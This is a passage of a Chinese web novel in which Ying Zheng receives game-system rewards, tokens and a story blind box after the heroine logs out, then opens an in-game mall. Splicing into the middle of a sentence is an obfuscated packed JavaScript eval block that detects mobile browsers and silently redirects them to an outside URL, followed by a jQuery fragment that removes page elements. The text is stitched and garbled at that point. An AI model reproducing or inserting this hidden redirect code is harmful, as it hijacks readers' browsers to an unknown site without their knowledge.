类。
檀悦对着空白信纸想了又想,发现也没什么想说的,要是胡乱写一条吧,又觉得浪费,所以就先把这个跳过了。
等以后什么时候想写了再写吧。
提示上说,这可是能收到他的回信呢。
不能浪费。
又在主页面停留了一会儿,捏捏戳戳嬴政的袖子和脸,收获对方几个冷淡但又有点无奈的眼神,檀悦心满意足退出了游戏。
等明天就等明天吧,她现在先去pp图,刚刚截图拍照搞了那么多呢。
……
秦,咸阳宫。
伴随着“目标人物已退出游戏”的提示,嬴政离开虚拟空间,重新回到了自己的宫殿。
他已经在虚拟空间度过大半天的时间了。
而他刚一回到现实,手指上的扳指就闪过了微微的光亮。
【初级任务:
让她为自己选择新服装,已完成
让她和自己进行合照,已完成】
【代币20,20已发放】
【恭喜宿主达成任务,目标人物好感度提升】
【当前好感度:2级】
【恭喜获得好感度提升奖励:新剧情盲盒抽奖x1】
【宿主当前代币:130】
【宿主当前未开启奖励:剧情盲盒x1】
嬴政放下整理好的竹简,等一连串的提示音彻底说完后,才略略一点头。
一百三十……
已经达到了那个“真神”粮种的购买条件了。
只是后边这个……新剧情盲盒是什么?
剧情难道不是系统生成的,还能让他自己选?
【传统的同类型游戏中,主线剧情多采取单元叙事体,以地图与事件的更换串联整体剧情,本游戏也同样将采取单元叙事体】
【但本游戏本着良心游戏、建设为双方提供各取所需公平平台的初衷,不设战斗关卡,无卡池抽取——也没有明确的主线。每个单元将由宿主与目标人物共同参与事件,终极目标为培养感情、提升好感度,事件可选类别极多】
【本轮次游戏将以宿主自行抽取决定下一步剧情内容的形式进行,系统不会过多干涉】
嬴政听得云里雾里。
什么战斗关卡,什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278099|150701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么卡池,本以为对系统的讲话风格已经算是相当适应了,结果这又冒出来一堆新名词。
不过,他听明白了的一点是:之后的剧情,都要靠他自己来决定,或者换个更准确的说法,靠他自己的运气来决定。
嬴政表示理解了。
但在那之前——
“商城。”
他要先买下一种粮种。
【收到。】
【诸天商城连接中……】
【适应-秦版诸天商城连接成功……】
【请宿主查看商城】
熟悉的光华闪过,嬴政睁开眼,已经见